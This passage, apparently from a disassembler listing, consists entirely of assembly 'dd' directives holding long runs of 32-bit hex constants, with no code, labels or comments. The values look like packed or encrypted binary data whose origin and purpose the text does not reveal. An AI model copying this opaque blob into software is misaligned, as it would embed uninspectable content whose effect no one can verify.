		dd 64A12F18h, 628217F6h, 548E363h, 3A79C7A0h, 0B8BC0032h
		dd 0ED543909h, 7C5DAE18h, 5ADB79h, 0DE7FE91Bh, 1869D2FAh
		dd 26E8CC02h, 9707A3ECh, 962740A8h, 0E0C268AAh,	482BE751h
		dd 30D5FE24h, 85F96C5Dh, 80AA8298h, 79510840h, 8660FC90h
		dd 81E06BF9h, 0E1260150h, 4FD68073h, 91CEC811h,	70D09954h
		dd 7A3FEC18h, 1DB60E1h,	0BB53E8B1h, 877F2547h, 3FEE0B18h
		dd 0E5031101h, 817839F0h, 81C6C31Dh, 0F4E03750h, 59F58618h
		dd 6031B3A0h, 0A001B810h, 586044ECh, 0E45246A1h, 0BC7B07E5h
		dd 426C7E80h, 6084C601h, 7F2B0082h, 0A88B3A12h,	3D78ABF0h
		dd 0F18272A6h, 77973173h, 40600903h, 69D690F1h,	1EE1FAh
		dd 660B027Ah, 4CF7B92h,	2C8182E6h, 68660BCh, 38E7799Bh
		dd 8076233Dh, 830701BFh, 54B0E1CFh, 19B94C2h, 0B10EB89h
		dd 20530EF1h, 5F04FC68h, 2DEFA788h, 12372080h, 0F23C076Ah
		dd 0D0C8A52Ch, 0A0988849h, 3E43F4A0h, 7AD41B12h, 35392421h
		dd 440148BAh, 4E632D45h, 76D88383h, 37A72A2Eh, 0C0E98038h
		dd 3934D359h, 38098498h, 10D60D55h, 48EA1B4h, 9D5A8E6h
		dd 8C14D0B0h, 6175E045h, 0DA0C10C0h, 48D5EA28h,	0EE0170E3h
		dd 9FC0F9C4h, 79BCE081h, 5C173114h, 0A1EA00E4h,	39A4A57Fh
		dd 0A965646Ch, 1D4C81BAh, 3E2600E5h, 5822F3EBh,	0CB91914h
		dd 5B330B08h, 6FCE1590h, 718855C8h, 75F001B7h, 0F05333A6h
		dd 0F774EFA1h, 2839D61Eh, 0D454B8F1h, 28C38048h, 2A0C53Eh
		dd 63310F38h, 88842B06h, 43F0C183h, 0EA95007Fh,	40BA6DADh
		dd 0C40A018h, 2ABB7D22h, 10B84B3Ch, 4A3F1B3h, 51699877h
		dd 5D4758D1h, 15840414h, 51E50164h, 604077EAh, 48E6BF3Dh
		dd 0AD15805Eh, 0A8C62428h, 0DF7B6101h, 0C85D262Ch, 0EA11A820h
		dd 9604B72Bh, 1058BB5Eh, 1948C330h, 65B3C022h, 424F802Eh
		dd 0EE3D6498h, 3E80D27Eh, 267AA225h, 98CBA55h, 4021308h
		dd 0FC80EC9Dh, 0E444F23Ah, 9A03689Ah, 19CE0C21h, 0A0483878h
		dd 30089624h, 0F660D788h, 250156F0h, 7189BD86h,	0C1808598h
		dd 0A1044E46h, 0E8C150E8h, 25EA8AF0h, 0EE0D3C4Ch, 102384A9h
		dd 0CB750424h, 0BB4A21A7h, 5748EA18h, 15796430h, 17CF8070h
		dd 0B7752384h, 620AA508h, 0C9307E60h, 29B64277h, 0FA847856h
		dd 38278772h, 6C788149h, 42552D5h, 5C421801h, 2214A9A8h
		dd 38285025h, 0FE15EC88h, 15305963h, 67A823E2h,	17A4F130h
		dd 0D5F59543h, 0F8688A8Ah, 0F00AD398h, 6075B444h, 98CFD542h
		dd 0A46A7A9Ch, 5FA22930h, 0C495889Ch, 18CC90C2h, 218CBBF9h
		dd 0CC95882Dh, 348DC2D8h, 4CD211B3h, 5454466Ch,	0C9463D3Ch
		dd 0A0A2581Eh, 0DDF1D205h, 0DC88A912h, 9E254184h, 5E31138h
		dd 81AEE78h, 21E2C158h,	7C3018B9h, 7EC5218Ch, 0C5F46A95h
		dd 5844864Eh, 506252F5h, 0BC153C90h, 3C708889h,	0C11C6665h
		dd 10103121h, 41884074h, 43C9A94Ch, 7A24111Ah, 633BCA02h
		dd 0E885CCF6h, 1180483h, 132832A6h, 1C21D973h, 0B9A208B6h
		dd 466D42C2h, 52F92360h, 46213EE2h, 18ED56F0h, 7AB39B00h
		dd 97D31EFEh, 0F4D7AF00h, 0E440CA3Bh, 9B6E00F9h, 875F4754h
		dd 3120C077h, 43092694h, 4BD300E0h, 8C2C69D0h, 243C537Eh
		dd 0B5B0060h, 0F719138Dh, 400D0F33h, 78E30725h,	61E080F1h
		dd 2F14F3AFh, 83CCA39h,	423AA343h, 4130943Eh, 118A4204h
		dd 0D09CD4E4h, 1AE3C435h, 0CF108860h, 2C632384h, 78D4930Ah
		dd 0B064E282h, 8ABD107Ah, 3CE85386h, 0C4BF4810h, 0A2411E47h
		dd 8019AA51h, 0A669F211h, 61946414h, 0AD1A30B0h, 0C1608A80h
		dd 28886C39h, 303699D3h, 1A7180F4h, 0DAF993Ah, 0D8FC547Eh
		dd 0DD4B88F1h, 10FA4786h, 7CDA899Dh, 991C6010h,	1BD72B86h
		dd 0D3F40A9Ch, 70FF64D8h, 44E6E4B3h, 18E14AD6h,	3C9954D5h
		dd 11D146B0h, 9B0031FCh, 0D5C6FE68h, 1A75F765h,	3CAA6C00h
		dd 45C29C1h, 7328C0D0h,	1AF69855h, 0ACE6D10Fh, 0C07ACF41h
		dd 0AE76E035h, 8D150C22h, 0FBB0273Fh, 5129F933h, 0C44E4550h
		dd 7B24B0EEh, 214F7EE8h, 7F95B435h, 0C6FB0C84h,	0F80849A4h
		dd 0F90CA063h, 44C688D6h, 7BA8B1CFh, 48ACE058h,	5D981DD2h
		dd 47283080h, 0A0ABC7AFh, 0D0161810h, 6D569103h, 7AC0430Fh
		dd 0C12623D8h, 620ADC75h, 0D106A896h, 0E59C58Eh, 0FB6AC07Ah
		dd 70C61440h, 94A822A4h, 4B42D3D8h, 4C2C2FCFh, 830E04E0h
		dd 5B2522A9h, 3A507C40h, 194CDE17h, 3510FE30h, 29C39C30h
		dd 9AF07472h, 1BE480CBh, 60394D7h, 8F7680CCh, 276038BCh
		dd 963897E1h, 2449012Fh, 0D9DE58C8h, 8888125h, 0C0A90EB5h
		dd 98C4CC41h, 0F983C117h, 60A44CE0h, 19D0A761h,	80D62464h
		dd 67AEDBFCh, 28E660CCh, 7DA2016Fh, 0AFFDDE01h,	24602B54h
		dd 9A808E4h, 1433AB85h,	28560306h, 0D5DD1D00h, 4CC753DBh
		dd 6B4900B2h, 313B1686h, 4F005628h, 38BF090Dh, 3087FDD9h
		dd 6C5115DFh, 188EE4Ah,	578819BAh, 47CD28BCh, 0DC9D003Ch
		dd 0E3073940h, 0B0BE2A4Bh, 81D4D882h, 4379A08h,	866E888Ah
		dd 22560095h, 6839A699h
		dd 31ED5D1Fh, 4D16FF07h, 0F5079CFFh, 6EB6231Fh,	778C3EC0h
		dd 111CA898h, 0EE29DC9Eh, 790830D8h, 447D3FA3h,	0E01F12D0h
		dd 0EF0A8D67h, 48155885h, 3A0F0078h, 9F0767AAh,	3E460AB1h
		dd 448B4F0h, 40249398h,	34BEDC83h, 185100D7h, 5FDE9C4Bh
		dd 990C202Ah, 19D1CB24h, 83940392h, 0FDFAC8ECh,	9E90A003h
		dd 0A397F34h, 198D9120h, 0F02BC18h, 0E2A158B2h,	112B480h
		dd 3E00E749h, 0B482BA76h, 6D1DC3h, 71387D34h, 1825F169h
		dd 3A7FD5F2h, 0A0A1CF03h, 0FFDD2B82h, 3C075CB0h, 947F0291h
		dd 0D74E6EBFh, 0BAEC1480h, 2911DADEh, 0CD3E5F1Fh, 2861F800h
		dd 4BDF47DDh, 0CB3AD600h, 876495F2h, 0B410C123h, 0EF9C268Ah
		dd 0BB1DC0D0h, 292EE918h, 799D9E90h, 30FE7CCEh,	0E6304AB4h
		dd 0B9334F8Ah, 0C76F1080h, 0FECBC4h, 691DF631h,	8B2671CFh
		dd 9C06844Fh, 0C186B1Eh, 0DDEFF03h, 34007C58h, 3DB07B01h
		dd 0E6902391h, 4DE8CF92h, 0C6BEEFE3h, 9F582801h, 90955C0Ch
		dd 0BBD70E8Ah, 37350648h, 2A295121h, 5D07A8ECh,	12832C9Eh
		dd 2778031Fh, 0BA356329h, 0A7BC107h, 0AC429321h, 0E9094034h
		dd 49906182h, 43704AA4h, 52A10384h, 7B77C5D1h, 29D5D3C7h
		dd 216D2C43h, 6875E7C6h, 9C5D840h, 3E6146EAh, 4C2A906Bh
		dd 200B30D0h, 51A9D641h, 0F507E52h, 0C1D1C963h,	93AE0B6Bh
		dd 7B724848h, 3BBB89F7h, 484CDE87h, 84A8003Fh, 51221E8Dh
		dd 0B054D85Dh, 7A309E30h, 1BB4F170h, 15311587h,	71760844h
		dd 0A9E214CAh, 0BF07BC78h, 3C09FEB9h, 9C609E48h, 5726A969h
		dd 91583EF2h, 823EDB0Ch, 17000759h, 7F67B7FBh, 63BEEC6h
		dd 14BF8141h, 0C732F970h, 8084E0E0h, 0B96FDF08h, 4AAD40FCh
		dd 0D58C8601h, 0BE318D80h, 0ED2C5980h, 0D369C957h, 9213D81Ah
		dd 0C5948319h, 287E8A16h, 82D10E34h, 35DD14F8h,	1FF02F0Eh
		dd 3830B29Dh, 1214DC0Ah, 29F1F3D0h, 0C89AD808h,	91F8C0A3h
		dd 88A08E81h, 56F4FC4Ch, 9C807998h, 17240135h, 308458AFh
		dd 540FB208h, 3AC2C7A2h, 0B0299E01h, 0DA085840h, 573618A7h
		dd 0A62D38DEh, 216B2303h, 29EEF3CCh, 2420DA28h,	18031E29h
		dd 7654E9F6h, 328EF501h, 3BE9B97Ah, 3E409C50h, 357E0FF2h
		dd 0A78CB084h, 4F3F2F19h, 11231C1Fh, 79F2D74Ch,	0B0BF3020h
		dd 0D580721h, 0B427E615h, 31D722A4h, 311038B6h,	968847CBh
		dd 0B730103Bh, 246121F1h, 848501Eh, 3312F01Ch, 1431C639h
		dd 0EE782011h, 29427F20h, 1402E605h, 1BB85EC1h,	0D5823074h
		dd 6EB95F20h, 0D321C4E6h, 1448906Ch, 51123D60h,	4C40E872h
		dd 0BC31FB64h, 0A0A8A04Fh, 0FEB70C50h, 75309C84h, 1C5EEF12h
		dd 3235B001h, 66C8212Ah, 3FBF58B7h, 0AE6D9160h,	6F0052E7h
		dd 775F72DCh, 2628FABAh, 0A32EE74h, 24A0342Eh, 631009B0h
		dd 7A13A480h, 50E15A73h, 206D50F4h, 7A40F0AAh, 0C23A089Bh
		dd 3F018CC3h, 0AD11838h, 0C4F3BD5Ah, 0CC4A00F7h, 96EEFC8h
		dd 0B213D712h, 74581854h, 69706C00h, 0E9B77FA0h, 0E0ECA83Dh
		dd 4B72269Dh, 52C0037Ch, 679F2BC9h, 71AED3DEh, 0FF07E800h
		dd 7E62B674h, 0BDEF03C6h, 7B9DFE76h, 0B41FB010h, 458D470Dh
		dd 48C82170h, 4F624134h, 10B01040h, 0A0C80ABCh,	7F638A91h
		dd 32CD80FCh, 97A59672h, 4460BC48h, 0AD3B1024h,	34758447h
		dd 3C902F18h, 9A668C29h, 229F3078h, 3BE6CF49h, 19000374h
		dd 7969489Eh, 4A1FDE10h, 0BB9B801h, 15B64A0h, 981E256Ch
		dd 18895425h, 0C00FB134h, 517D6D86h, 9094A50Eh,	9AE38EB0h
		dd 1AC048F1h, 89E507Dh,	0ACDA54E2h, 65A71375h, 69B00087h
		dd 9013762Bh, 3ACCB60Eh, 0C3599B18h, 8A1011C9h,	8CD624D7h
		dd 26089A14h, 41147C98h, 68CA2018h, 9471B3h, 5669C83Eh
		dd 0DCEA6A3Dh, 24B43F58h, 4E2844F8h, 514D509h, 7C960120h
		dd 302403C9h, 5738C111h, 98737735h, 4819BA02h, 9CE81647h
		dd 92681D6Dh, 0BB6C4375h, 1819E990h, 34A839D2h,	99D3E824h
		dd 0CA561CBCh, 7F078BBh, 0A3C701D9h, 2901AB15h,	0A118418Eh
		dd 2D1B1BAh, 5C4255C1h,	0CB14C1CFh, 241AEC51h, 593A109Bh
		dd 9D4046C2h, 21CC2B73h, 44AA1030h, 5E80489Ch, 34B89BEh
		dd 0EB310114h, 94E1D36Eh, 0D490D4D7h, 60543CB0h, 0A80FE4ACh
		dd 0CF7A74BAh, 7C0A3635h, 0C609A03Dh, 76A00265h, 8CA468D8h
		dd 34F54Eh, 505D7156h, 0B299890h, 1CEE02A5h, 81C46413h
		dd 532810F8h, 3000A784h, 55409045h, 1615D5BCh, 50138Ch
		dd 0CDBB8BDCh, 867472A2h, 4885913Fh, 0C5550044h, 5F96E9E1h
		dd 0DFCC147Eh, 0B22AC872h, 0D67C2064h, 468CF3Dh, 2356461Eh
		dd 90265704h, 87532958h, 1138C630h, 0A2062BAh, 2B1AD4CEh
		dd 0D50F47BCh, 30782D3Ch, 70F7D594h, 90D4C0h, 819CE548h
		dd 0DD1ABFF9h, 4FF0842h, 59B8C88Bh, 9DE3CCA8h, 0F8452204h
		dd 50C89A90h, 0E0F10B56h, 4081CAB9h, 54AFC7BBh,	0D421C0FCh
		dd 11C0F526h, 796B3356h, 7AA915F6h, 6F01E023h, 806EBBFCh
		dd 31AC3424h, 0F08D3C24h, 670C342Ch, 0B84518D2h, 1AC24534h
		dd 787010D8h, 0DB01F83Dh, 86460204h, 0E02BDD1Ch, 84007B24h
		dd 2D14D40Ch, 0A02759F2h, 120316D1h, 9101D2EFh,	43125670h
		dd 6100BB9Ch, 41DD3D6Dh, 61B3C8D3h, 0C3471190h,	0C9384001h
		dd 3E5D35F1h, 1C912Ch, 9E5254E1h, 9021E32Dh, 0A84CED50h
		dd 4CA3869Fh, 60A847F1h, 8CA583D8h, 8E87894h, 42719219h
		dd 7031F145h, 12596E18h, 95056A8h, 20930911h, 7D7A4544h
		dd 682D2C86h, 0FAEB81B0h, 5520606Eh, 9F5442C0h,	80905776h
		dd 30982243h, 30371F24h, 6F41FDE4h, 8F7D4028h, 0F91B3971h
		dd 7CF44750h, 0C6C70277h, 8DD32090h, 2BB0C8A8h,	0FA85919Ch
		dd 41A96313h, 0F0A10980h, 9CF860EDh, 4800C499h,	30029173h
		dd 0B9711C23h, 47F9F06Dh, 6332D3F9h, 80CAA946h,	541D4394h
		dd 486B304Bh, 75585518h, 98D29F16h, 0CF353800h,	944F7CC1h
		dd 12A704F4h, 685321F6h, 78766C30h, 745550AFh, 9517F61h
		dd 2377B6A1h, 0B067CA0h, 0D30114E4h, 0ED630ADAh, 0F3D01BBEh
		dd 0F2D0C1DEh, 987F7620h, 12491C58h, 0B1436015h, 94D52CD7h
		dd 0A9EED800h, 44E16954h, 0FE6D00D4h, 827C6713h, 0CB7CC51Bh
		dd 7731D01h, 7E35BF65h,	24B0E8D0h, 972417FEh, 1FC44A1Ah
		dd 23EB1F08h, 7205319h,	688A4010h, 3E24EEFEh, 0F2828CAAh
		dd 0C3353BB5h, 28D2B490h, 1E94402Ch, 0D78B05C5h, 907D7251h
		dd 2D4C5784h, 7C51196Bh, 39260CB0h, 93549939h, 0F09147E0h
		dd 227E3309h, 84DD2DA0h, 0F9411714h, 0CE59CD3Fh, 7513C048h
		dd 1C44A0B8h, 0DF1E12A7h, 9D6C0FCEh, 0F3F07E02h, 0CACB084h
		dd 0A449BFh, 4FF4CA53h,	0BEA13D3Ah, 18B91471h, 919E302Ch
		dd 0A9C4182Eh, 7197175Eh, 0E0906A28h, 4080D519h, 0CC80B865h
		dd 76D98770h, 7F104162h, 0D4C24BAh, 0B7CC91C8h,	3ADE0C68h
		dd 0E469471Fh, 142B603Ah, 15A1627Ah, 148821FEh,	929844DEh
		dd 20FA9809h, 0B6975854h, 90923B83h, 7EDF5580h,	2960F2CAh
		dd 2AFF0313h, 0A8795C80h, 6C964851h, 0F653310h,	26324527h
		dd 1118EFBEh, 80C343FBh, 26A58CDAh, 3C0C00ABh, 0FED4F191h
		dd 520012B4h, 75B0AD54h, 0A0D87197h, 0E9D2CF40h, 4E3E9420h
		dd 0FF543C29h, 0EF8869F6h, 0E2EC96E3h, 1414251Bh, 0D0CAB0A2h
		dd 0E070014Eh, 10C3B482h, 0EA7077B5h, 30B92449h, 0B0C405F0h
		dd 0A3178223h, 0E1351C40h
		dd 0C8C0EA70h, 5045E2D1h, 0BBDD0331h, 466BC836h, 1CAAB0E7h
		dd 0F482DF5h, 313727E0h, 0BA10E570h, 4302EADEh,	1F02E68Bh
		dd 0C754682Ch, 89A820E2h, 0B01EBB3Fh, 72D1586Ch, 18806499h
		dd 38BCC971h, 36FA028Ch, 80401F37h, 27A75888h, 90950049h
		dd 39F1E208h, 0AE016D2Bh, 614562E9h, 0CF40441Ch, 128D9FD1h
		dd 805C13DBh, 61373934h, 58B01460h, 0C3ABA5EFh,	79C70748h
		dd 4C0A1926h, 0B033AC4Ah, 126EA59h, 47214A36h, 0CE9BB1D8h
		dd 8480FA77h, 8FD42D5Ah, 6C069075h, 0EC7E5334h,	0C77A21F8h
		dd 48DFA210h, 59F58F9h,	6EAC421h, 0CB1938Dh, 0F99617A7h
		dd 4008BCF8h, 5C6F8A02h, 73080702h, 4045F3F7h, 5C59B408h
		dd 4F1060A9h, 0A24A003Bh, 2CDBC017h, 9B32167Fh,	0A1C842F3h
		dd 0BB03B084h, 318D9906h, 5C23C20h, 0E2C82C6Bh,	3AD8930Dh
		dd 6E74FB8h, 9E200853h,	0F080BE51h, 9E4B0B96h, 0C45F4528h
		dd 199F2A00h, 0F6E3D27Eh, 3B0CF69h, 8789AA84h, 0BDB921E8h
		dd 4A34242Dh, 0AD413600h, 0B86B269Fh, 0D2543E7Eh, 25053074h
		dd 0AD181720h, 0E71F1D00h, 4406D6AAh, 2DE0E875h, 5409329Dh
		dd 0F3F228C8h, 6EE8671Eh, 0CA3DABC9h, 31E46024h, 0A014BA98h
		dd 82EEF7C0h, 0B4A420C0h, 6E119C2h, 40A04004h, 714E2488h
		dd 9610BED8h, 0BECF3A3Dh, 9900FE5Bh, 0D6523641h, 6FE6Bh
		dd 0C57858CBh, 42B8AFCCh, 4AA2ED00h, 80FB6F4Ch,	8A5402BAh
		dd 76430DFh, 0F8C28BE1h, 683EA3A0h, 7300F3C3h, 6CCC7872h
		dd 74F6D280h, 0D62A00C4h, 4120424Ah, 0B100DA97h, 7A0B750Ah
		dd 0C85DA6h, 0FECE6EE9h, 7685FDF7h, 3CC5F900h, 9A0E0344h
		dd 9FE5079Bh, 3075A64Bh, 745E6AC9h, 0F6F15F00h,	792B7AA7h
		dd 0A8681DE8h, 7E0E1C53h, 606EC13Ah, 20741B93h,	0DDFD6AE0h
		dd 0D509FA01h, 0BD9A1EE4h, 588450DDh, 0C059F651h, 0DB326C5Bh
		dd 0B1683701h, 280594F9h, 3BAF0F8h, 264E1B45h, 500170E3h
		dd 3C5CE7DBh, 0EBE83411h, 62DA00D5h, 7A6A7601h,	8A14C593h
		dd 1F40F5C1h, 94CEE455h, 2C7103F2h, 7C4AA86Ah, 89F80022h
		dd 75B9DB5Fh, 7818701Ch, 0E8C04F1Bh, 7D473A69h,	6244FE00h
		dd 0B0733782h, 0AFF62C18h, 710B59h, 0A0FC22B7h,	0D66B20F1h
		dd 46741C03h, 0A0EF1560h, 1477936h, 0B39E7DEAh,	0F1177E03h
		dd 629443DDh, 0ED9A97C0h, 4870237Ch, 1778F800h,	0DF82AB55h
		dd 2ABE0074h, 3BA8F43Dh, 0F18321Fh, 12181967h, 0C5C30146h
		dd 93EF2188h, 5559E013h, 8B00A978h, 118EE030h, 8A1768h
		dd 7078E6EFh, 50FC4A9Ah, 0B1FB1D00h, 73A7729Bh,	0AD1A06F6h
		dd 801948C9h, 3065424Ch, 0B9A3184Eh, 0F931310Dh, 0CC5FF098h
		dd 0D3675136h, 0CC30E568h, 79CE6B6h, 0B98B2A64h, 0BE77D382h
		dd 69EECF80h, 6089175Ch, 45E36180h, 0A458C08Bh,	0A92D8129h
		dd 6AC82A80h, 3C9F1892h, 895AE581h, 0FCB75ECEh,	1400A9F2h
		dd 0AD7E4297h, 771FA224h, 0E6A4A039h, 30FF9013h, 8391A086h
		dd 0BE447A48h, 63231EE1h, 57FE0012h, 14625DE0h,	87620BE8h
		dd 365144E8h, 0C07459D1h, 95CF0AC9h, 984D039Bh,	0A2A9B121h
		dd 0C888F900h, 0CB65E9Ch, 7C2D3011h, 0F7A7E0A8h, 0CD000AE2h
		dd 5BD9FDACh, 0A03BF4F8h, 0E0CC08Fh, 3E6A5088h,	0DBAE5F40h
		dd 2160D85Ch, 0B2B7CB09h, 2EDA7D9Fh, 27D2E8h, 0E0515523h
		dd 98006ED6h, 15E10382h, 1C1D9A85h, 0DE9B5B1Ah,	5807402Dh
		dd 7D931F33h, 64114300h, 0FD72F124h, 8539038Ah,	77525FB7h
		dd 0E0874C83h, 0E189DC80h, 8C823330h, 749A04Fh,	0AF64EBB5h
		dd 7DA6F0DBh, 0F37EE7BAh, 44D9B201h, 7223C5A1h,	3CAB30h
		dd 0B7280B78h, 2015E525h, 0F500317Dh, 8BAFC7A9h, 11CB91Fh
		dd 85B4AA71h, 0E43C99EBh, 2F01F9CBh, 34ED7D60h,	0B880F283h
		dd 0CD51F0D6h, 3200C7D1h, 0F87AB9EAh, 77F2F731h, 62C5006Dh
		dd 0ABCBA499h, 0E6487BF4h, 0D0260034h, 50BB0FADh, 8690006Ch
		dd 0B05269CCh, 39014E41h, 37FCC058h, 0A3E87A4Ch, 2127222h
		dd 15EF1463h, 86804DD0h, 2C537F78h, 41832E00h, 67D8BDCEh
		dd 0A8B43994h, 6280A03Bh, 0F5285660h, 49011AAEh, 0ECC9CEB3h
		dd 0C1808217h, 85625B52h, 86002116h, 9B4FA695h,	4CACD6F7h
		dd 0B4006C27h, 54C1912Ah, 0FB00E0BFh, 0C431D0F4h, 1EFC2E4Bh
		dd 4083595Ch, 0A28EDB69h, 4400584Eh, 996F133Fh,	67931h
		dd 0F94F7A22h, 0C38E7B2Ah, 403B1618h, 0C737B0h,	0A3C04C6Fh
		dd 8FB2AB9Eh, 51A4551Eh, 6DA17D00h, 2CCD1881h, 1334B0F3h
		dd 0A7EE07C3h, 0B954070h, 0A8A0EE44h, 1F0ED333h, 0C0ACDDDCh
		dd 0D150FB8Ch, 0F9EF0FF4h, 0A5A0D8BFh, 52A9766Ah, 0E0553639h
		dd 83997B81h, 9FA7FB2h,	0D56DB3E0h, 0FC449300h,	71001BA8h
		dd 5CB5F77Fh, 0B8474D5Bh, 29250EA8h, 8C9C6F9Dh,	0DF487719h
		dd 0BCDBAC08h, 41740794h, 9CAB4007h, 58269E54h,	6837082h
		dd 0D6B10B9Bh, 20C0E39h, 6DA713AFh, 69854BE0h, 0FFB031C4h
		dd 46ACE85Dh, 0C530D300h, 76B2CCE9h, 4C030B3Dh,	1A842E5Ch
		dd 6EFE805Ah, 0CCF9ED52h, 2A0095CDh, 2E3886B1h,	0F258369Eh
		dd 946C0067h, 2256F11Dh, 28924EAFh, 26D0CE03h, 9B50B4CDh
		dd 1EDAC8A2h, 7DC700CFh, 677A3A34h, 8F003217h, 5E0B3C68h
		dd 7A5F7639h, 0AC1800E3h, 3806B1E0h, 0BA00AD62h, 0E9A6C1DDh
		dd 0FC4157h, 0B17A7149h, 0EA1CB2A3h, 0AC6C3E1Fh, 0DD745FC0h
		dd 7736548h, 0C0320BB7h, 5C10B34Dh, 7695F780h, 0A2459F0Fh
		dd 7852A0B2h, 0A98754h,	949DFE8Ah, 0C5AAED2Dh, 591D19FCh
		dd 9804A27h, 0E47CCAB9h, 327F1EC3h, 70AE0094h, 34566D8Fh
		dd 0BB0062E2h, 8BC75829h, 281280F1h, 0CCEC19h, 119FF44Ch
		dd 0FD2DB87Ah, 23273B00h, 0F8B48791h, 0DC9406D4h, 72042179h
		dd 7140B900h, 118154E1h, 569A054Eh, 1FA6B81Fh, 90500F8h
		dd 0D59E5057h, 1595F900h, 13B47F39h, 48DE3EE6h,	0F358EF81h
		dd 0C4705F40h, 0EB7A5B54h, 5E914Ch, 0DA4FF734h,	0C01BB4FFh
		dd 0ED8648A8h, 311F08BAh, 0BC4B2B2Ch, 20042F3Ch, 52BEA435h
		dd 0FBE1245Fh, 616D0140h, 24CF94A2h, 814CD56Ch,	1BD60077h
		dd 0E9E3E1A8h, 533C0260h, 9DB61036h, 4E78B840h,	0D7661309h
		dd 0C10C0061h, 3CE98Bh,	76F91BD4h, 6403D291h, 0C6215E0Fh
		dd 0C3A840EDh, 56501Ah,	46C8F799h, 53D5B395h, 41006BE4h
		dd 54C6884Bh, 28351DC7h, 3EF84C39h, 0C50C3789h,	0AC10775Eh
		dd 2BE7522Ch, 8DD1AE00h, 0E15909h, 0B0DD55E6h, 974AADCAh
		dd 6EB87800h, 0ACF43BB1h, 0D7740071h, 0A9CBFA5Dh, 3412CE29h
		dd 0C7A8A19Fh, 90F0007Fh, 67B88D0Eh, 7F00EFAFh,	2C2DEAB9h
		dd 2B3EC3h, 624E3A3h, 0E6025CE8h, 0BF279600h, 762688DCh
		dd 0D175000Fh, 0A0054D81h, 0C001BAEh, 2A0DDE79h, 3D0E02B9h
		dd 5B00F84Fh, 0C14B5320h, 0EC0038B0h, 2B6DED2h,	0C059C628h
		dd 887D1A84h, 0A81FEAE7h, 0D801D3Ah, 2FE88506h,	0B0D70086h
		dd 31AAAFC2h, 79003E0Bh, 2B904053h, 0EBB48h, 0E92FEA21h
		dd 8E1035C7h, 0DE328A00h, 64DC4E59h, 2B030190h,	0AF0C2918h
		dd 6239F0F9h, 0FE54A400h, 0D20EB63Fh, 86651E2Fh, 5D45C052h
		dd 0E506D48Dh, 0F50C8C00h, 0AAF16E78h, 0F8C9005Eh, 7F3FA5B5h
		dd 8E004319h, 0E23C53AEh, 0F6969888h, 9BC30F87h, 0E0208BF4h
		dd 300182D7h, 9D00BDE8h, 35E2C8CFh, 7698CC8Ah, 0AC7F0110h
		dd 0ECB5E012h, 0B182860h, 116825h, 0A0921382h, 0B93A01EBh
		dd 18EFE3B4h, 0BFFEDCE5h
		dd 0CE83FA00h, 0A023ABF6h, 792D1769h, 0C5E40046h, 96555CCh
		dd 2CFBC700h, 38360E58h, 3E940740h, 0C097A184h,	2651D3B5h
		dd 0F38C18C7h, 0DC0D805Eh, 1D311C41h, 746361h, 8DEE606Fh
		dd 21C32794h, 3A7EE6BBh, 8407AA39h, 400E9656h, 0D64A6A5Fh
		dd 72DEA600h, 0DA3AD1BAh, 8C61008Dh, 9445CC5h, 4900771Ah
		dd 2C62640Ah, 2EE75A36h, 46F575h, 275F0D41h, 50C08C14h
		dd 355687D9h, 2D10008Fh, 0E11551BBh, 1776F5D8h,	0E00331F6h
		dd 6BFD61AEh, 0D9006DAh, 0A80E81A7h, 0C100F7F0h, 518B7C36h
		dd 1495453Ah, 10EC588Eh, 0DB6EFD0Ch, 3F00AD39h,	56CF0914h
		dd 0DC07A1h, 4F5E54A8h,	55297E9Eh, 6D833C00h, 45C3802Dh
		dd 0EC9800FEh, 7CE7DB51h, 8107DC6Ch, 0C8B908BBh, 0CAEDB243h
		dd 0C0DF6058h, 0B4393B42h, 0ECDA0CBBh, 0AB80005Bh, 21340D96h
		dd 85B6003Eh, 0A9758F02h, 0D200C7FCh, 1A26F24Fh, 1A396734h
		dd 0A82DA7F5h, 9507E180h, 9C00ACCAh, 8292CF9Ah,	8AA1B0h
		dd 8D1D3CBEh, 7B23028Bh, 0EB0CFD77h, 91A2724h, 0D2D0040h
		dd 32701535h, 7400CCB6h, 6B98E7DEh, 1020B22h, 13774166h
		dd 0FCBDC6C4h, 0FE0037C5h, 1AADABF1h, 6BED32h, 9B81EF4Dh
		dd 0F4C038B9h, 53D3B100h, 6DD08FD4h, 0C17E00B7h, 295F16F6h
		dd 0E10179F8h, 619F4CA1h, 74707566h, 0B41A0F22h, 0C1E0EE16h
		dd 0D4F9030Eh, 0BB4DD700h, 22E7F83Bh, 0A07158BDh, 0C1ADEC00h
		dd 0AFA9F56Eh, 13785D18h, 1FEBCD8h, 0A0F46B2h, 0F81081BBh
		dd 0D600147Eh, 537435E0h, 3E33CB5h, 8D6811B8h, 6F90A29Bh
		dd 2F00247Bh, 0B146E0B3h, 3A9E358Ch, 1F8BD319h,	67005B97h
		dd 0AE05D225h, 4007892h, 7E843C98h, 685D568h, 42FFF645h
		dd 7314E05Eh, 288EEB8h,	0D6A35DC1h, 1790A099h, 7E75AB6Fh
		dd 5AFA5Bh, 7BF7FEEBh, 0B2389C0Ch, 11DF3D00h, 1473F06Bh
		dd 449227h, 0E0684A19h,	6A437CDBh, 8B9FDC02h, 0C03257D3h
		dd 4CC4E44Ah, 7E73DEA8h, 0FC0502A1h, 557EDA87h,	0E3619480h
		dd 57906C29h, 94B4CA00h, 0FF13C59Fh, 5BD000A7h,	51186827h
		dd 6D07033Bh, 2B3C2E7h,	4FDBB160h, 0FE0500A9h, 145AB5F0h
		dd 7B0067F4h, 0D7C27851h, 16D40C8h, 0FADB9D4Dh,	0D322D8ECh
		dd 7F4900E7h, 83002047h, 9F48FC57h, 1D9BD5Eh, 0F2539CE7h
		dd 0BF1C0973h, 544581E1h, 6470DF65h, 0EA52D4h, 327AE04Fh
		dd 682271AAh, 27F82D00h, 659269Fh, 3D287C05h, 0E6010837h
		dd 439D1AF3h, 76C470A9h, 0D8AF7028h, 0F05822h, 63335E69h
		dd 0EE8B205Ch, 873C5000h, 9028AD16h, 9E77B5h, 0DA3E7147h
		dd 942DE107h, 0B4BA7509h, 0ACF808Eh, 3282516h, 0EFC1CD97h
		dd 64B048B7h, 0D700B451h, 0D0C60A74h, 428992h, 40E92CC4h
		dd 64D67CEh, 0E6245F00h, 0EC5DC23Ah, 477C00A2h,	0EDB3140Bh
		dd 0D001BDD3h, 888C5668h, 42E0E494h, 0CF438E2h,	400048CCh
		dd 48C46A0Eh, 430055C0h, 7DF8BF15h, 7CF624h, 58892A50h
		dd 3B3DE3F1h, 28534609h, 1BC000F9h, 6901BAh, 4D58AE12h
		dd 0DDD27EF7h, 8163F600h, 0A3B4B778h, 4EED0031h, 42F1DC6Fh
